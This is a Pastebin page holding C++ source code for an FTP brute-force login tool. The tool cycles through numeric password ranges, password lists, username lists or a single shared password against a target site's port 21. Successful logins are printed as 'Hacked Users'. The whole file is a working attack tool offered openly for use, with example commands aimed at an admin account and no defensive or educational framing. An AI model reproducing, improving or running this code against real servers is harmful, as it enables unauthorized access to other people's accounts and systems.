Advertisement
Guest User

Untitled

a guest
May 8th, 2017
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 8.57 KB | None | 0 0
  1. /*****
  2. Ftp Brute Force , C++.
  3. Written By WaReZ  
  4. -----------------
  5.  
  6. Options:
  7.         Single Username - Password list , Range passwords.
  8.         Usernames list - Passwords List , Single password , Range Passwords.
  9.  
  10. Compile:        
  11.         g++ ftp.cpp -o ftp.exe
  12. *****/
  13.  
  14. #include <iostream>
  15. #include <winsock.h>
  16. #include <fstream>
  17. using namespace std;
  18.  
  19. int ftp_connect(string user,string pass,char *site) {
  20.          
  21. sockaddr_in address;
  22.          
  23. size_t userSize = user.length()+1;
  24. size_t passSize = pass.length()+1;
  25. char username[userSize],password[passSize];
  26. ZeroMemory(&username[0],userSize);
  27. ZeroMemory(&password[0],passSize);
  28.          
  29. strncpy(username,user.c_str(),userSize);
  30. strncpy(password,pass.c_str(),passSize);
  31.          
  32. char recv2[256];
  33. ZeroMemory(&recv2,256);
  34.          
  35. hostent *host;
  36. host = gethostbyname(site);
  37.      
  38. int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  39.            
  40. address.sin_family = AF_INET;
  41. address.sin_addr.s_addr = ((in_addr *)host->h_addr)->s_addr;
  42. address.sin_port = htons(21);      
  43.  
  44.  
  45. int c,s,r;
  46. c = connect(sock,(struct sockaddr*)&address,sizeof(address));
  47. r = recv(sock,recv2,sizeof(recv2),0);
  48. s = send(sock,username,strlen(username),0);
  49. r = recv(sock,recv2,sizeof(recv2),0);
  50. s = send(sock,password,sizeof(password),0);
  51. r = recv(sock,recv2,sizeof(recv2),0);
  52.  
  53.  
  54.   if(strstr(recv2,"230"))
  55.   {
  56.      return 230;
  57.   }
  58.          
  59.   if(strstr(recv2,"530"))
  60.   {
  61.      return 530;
  62.   }
  63.                    
  64.   else
  65.   {
  66.      return WSAGetLastError();
  67.   }
  68.  
  69.  
  70. }          
  71.  
  72. int main(int argc,char *argv[])
  73. {
  74.      
  75. cout << "\n#####################################\n"
  76.          "# Ftp Brute Force                   #\n"    
  77.          "# Written By WaReZ                  #\n"
  78.          "#####################################\n\n";
  79.    
  80. WSADATA wsaData;
  81.  
  82. if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
  83. {
  84.   cout << "WSAGetLastError(): " << WSAGetLastError();
  85.   exit(1);
  86. }
  87.  
  88.          
  89. if(argc < 2)
  90. {
  91.   cout << "Usage: " << argv[0] << "\n\n";
  92.   cout << "-user         singal username\n";
  93.   cout << "-ul           usernames list\n";
  94.   cout << "-start        start range\n";
  95.   cout << "-end          end range\n";
  96.   cout << "-pl           passwords list\n";
  97.   cout << "-sp           singal password for users list\n";
  98.   cout << "-site         site that be checked\n\n";
  99.  
  100.   cout << "Example: " << argv[0] << " -site site.com -user admin -start 0 -end 10000\n";
  101.   cout << "         " << argv[0] << " -site site.com -ul users.txt -sp 123456\n";
  102. }
  103.  
  104.          
  105. else
  106. {
  107.   cout <<  "[~] Starting ...\n\n";
  108.   char buffer[256],rcv[256],error[256];  
  109.  
  110.  
  111.   int check = 0;
  112.   int tstart = 0 ,tend = 0;
  113.   int u = 0,start = 0 ,ul = 0,pl = 0,end = 0,spass = 0,check_site = 0,hacked = 0;
  114.   string user,pass,site2,realuser,sinpass,realpass,fileusers,length,correct_pass;
  115.   char passwords[256],site[256] = "",users[256];
  116.   ifstream passlist,userlist;
  117.  
  118.  for(int i = 1 ; i <= argc-1;i++)
  119.  {
  120.              
  121.     if(argv[i+1] != NULL)
  122.     {
  123.            
  124.      if(strstr(argv[i],"-user"))
  125.      {
  126.         realuser = argv[i+1];        
  127.         user = "USER ";
  128.         user += argv[i+1];
  129.         user += "\r\n";
  130.         u = 1;
  131.                    
  132.      }
  133.      
  134.      if(strstr(argv[i],"-start"))
  135.      {
  136.                        
  137.         tstart = atoi(argv[i+1]);
  138.         start = 1;  
  139.              
  140.      }
  141.      
  142.      if(strstr(argv[i],"-end"))
  143.      {
  144.                          
  145.         tend = atoi(argv[i+1]);
  146.         end = 1;                                    
  147.      }
  148.      
  149.      if(strstr(argv[i],"-pl"))
  150.      {
  151.                            
  152.         passlist.open(argv[i+1]);
  153.         pl = 1;
  154.                              
  155.      }
  156.      
  157.      if(strstr(argv[i],"-site"))
  158.      {
  159.                                
  160.        site2 = argv[i+1];
  161.        strncpy(site,site2.c_str(),256);
  162.        check_site = 1;
  163.                                  
  164.      }
  165.      
  166.      if(strstr(argv[i],"-ul"))
  167.      {
  168.         userlist.open(argv[i+1]);
  169.         ul = 1;                  
  170.      }
  171.      
  172.      if(strstr(argv[i],"-sp"))
  173.      {
  174.         sinpass = argv[i+1];
  175.         realpass = argv[i+1];
  176.         spass = 1;                        
  177.      }
  178.      
  179.   }        
  180. }
  181.  
  182.  
  183. if(u == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
  184. {
  185.    for(int p = tstart ; p <= tend; p++)
  186.    {  
  187.          pass = "PASS ";
  188.          pass+=itoa(p,buffer,10);
  189.          pass+= "\r\n";
  190.  
  191.          int b = ftp_connect(user,pass,site);
  192.          
  193.          if(b == 230)
  194.          {
  195.              cout << realuser << "::" << p << " - Succeed" << endl;
  196.              break;
  197.          }
  198.          
  199.          else if(b == 530)
  200.          {
  201.              cout << realuser << "::" << p << " - Fail" << endl;
  202.          }
  203.        
  204.          else
  205.          {            
  206.              cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  207.              break;
  208.          }
  209.                        
  210.    }
  211. }
  212.    
  213. else if(pl == 1 && u == 1 && check_site == 1)
  214. {      
  215.    while(!passlist.eof())
  216.    {                          
  217.       passlist.getline(passwords,50);  
  218.       pass = "PASS ";
  219.       pass+= passwords;
  220.       pass+= "\r\n";
  221.      
  222.       int b = ftp_connect(user,pass,site);
  223.        
  224.       if(b == 230)
  225.       {
  226.           cout << realuser << "::" << passwords << " - Succeed" << endl;
  227.           break;
  228.       }
  229.          
  230.       else if(b == 530)
  231.       {
  232.           cout << realuser << "::" << passwords << " - Fail" << endl;
  233.       }
  234.        
  235.       else
  236.       {            
  237.           cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  238.           break;
  239.       }                        
  240.    
  241.    }
  242. }
  243.  
  244. else if(ul == 1 && pl == 1 && check_site == 1)
  245. {        
  246.    while(!userlist.eof())
  247.    {
  248.       userlist.getline(users,50);
  249.       user = "USER ";
  250.       user+= users;
  251.       user+= "\r\n";                        
  252.      
  253.       while(!passlist.eof())
  254.       {
  255.  
  256.          passlist.getline(passwords,50);  
  257.          pass = "PASS ";
  258.          pass+= passwords;
  259.          pass+= "\r\n";
  260.  
  261.          int b = ftp_connect(user,pass,site);
  262.            
  263.          if(b == 230)
  264.          {
  265.              cout << users << "::" << passwords << " - Succeed" << endl;
  266.              correct_pass+= users;
  267.              correct_pass+= "::";
  268.              correct_pass+= passwords;
  269.              correct_pass+= "\n";
  270.              hacked+= 1;
  271.              passlist.seekg(0,ios::beg);
  272.              cout << "-------------------------\n";
  273.              break;    
  274.          }
  275.          
  276.          else if(b == 530)
  277.          {
  278.              cout << users << "::" << passwords << " - Fail" << endl;          
  279.          }
  280.        
  281.          else
  282.          {            
  283.              cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  284.              break;
  285.          }  
  286.      }  
  287.   }
  288.  
  289.   cout << "\nHacked Users:\n\n";
  290.   cout << correct_pass;
  291.   cout << "\n" << hacked << " Users Was Hacked\n";
  292. }
  293.  
  294. else if(spass == 1 && ul == 1 && check_site == 1)
  295. {
  296.    while(!userlist.eof())
  297.    {
  298.       userlist.getline(users,50);
  299.       user = "USER ";
  300.       user+= users;
  301.       user+= "\r\n";  
  302.          
  303.       pass = "PASS ";
  304.       pass+= sinpass;
  305.       pass+= "\r\n";
  306.              
  307.       int b = ftp_connect(user,pass,site);
  308.        
  309.       if(b == 230)
  310.       {
  311.           cout << users << "::" << realpass << " - Succeed" << endl;
  312.           fileusers+= users;
  313.           fileusers+= "::";
  314.           fileusers+= realpass;
  315.           fileusers+= "\n";
  316.           hacked+= 1;
  317.       }
  318.          
  319.       else if(b == 530)
  320.       {
  321.           cout << users << "::" << realpass << " - Fail" << endl;          
  322.       }
  323.        
  324.       else
  325.       {            
  326.           cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  327.           break;
  328.       }
  329.                                          
  330.    }  
  331.      
  332.       if(hacked > 0)
  333.       {        
  334.          cout << "\n\nHacked Users:\n\n";
  335.          cout << fileusers;
  336.          cout << "\n" << hacked << " Users was Hacked\n";
  337.       }
  338.      
  339.       else
  340.       {
  341.          cout << "\n\n0 Users was hacked\n\n";  
  342.       }
  343.        
  344. }  
  345.    
  346. else
  347. {
  348.     if(tstart > tend)
  349.     {
  350.       cout << "Error: Start range bigger then end range.\n";        
  351.     }
  352.    
  353.     else if(strlen(site) < 1 && check_site == 1)
  354.     {
  355.        cout << "Error: You forget to write the site.\n";
  356.     }
  357.    
  358.     else
  359.     {
  360.       cout << "Error:\ncheck the arguments , maybe you forget to write something \nor you have mistake in some argument\nor that the option you chose not exist\n";
  361.     }
  362. }      
  363.    
  364. }
  365. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement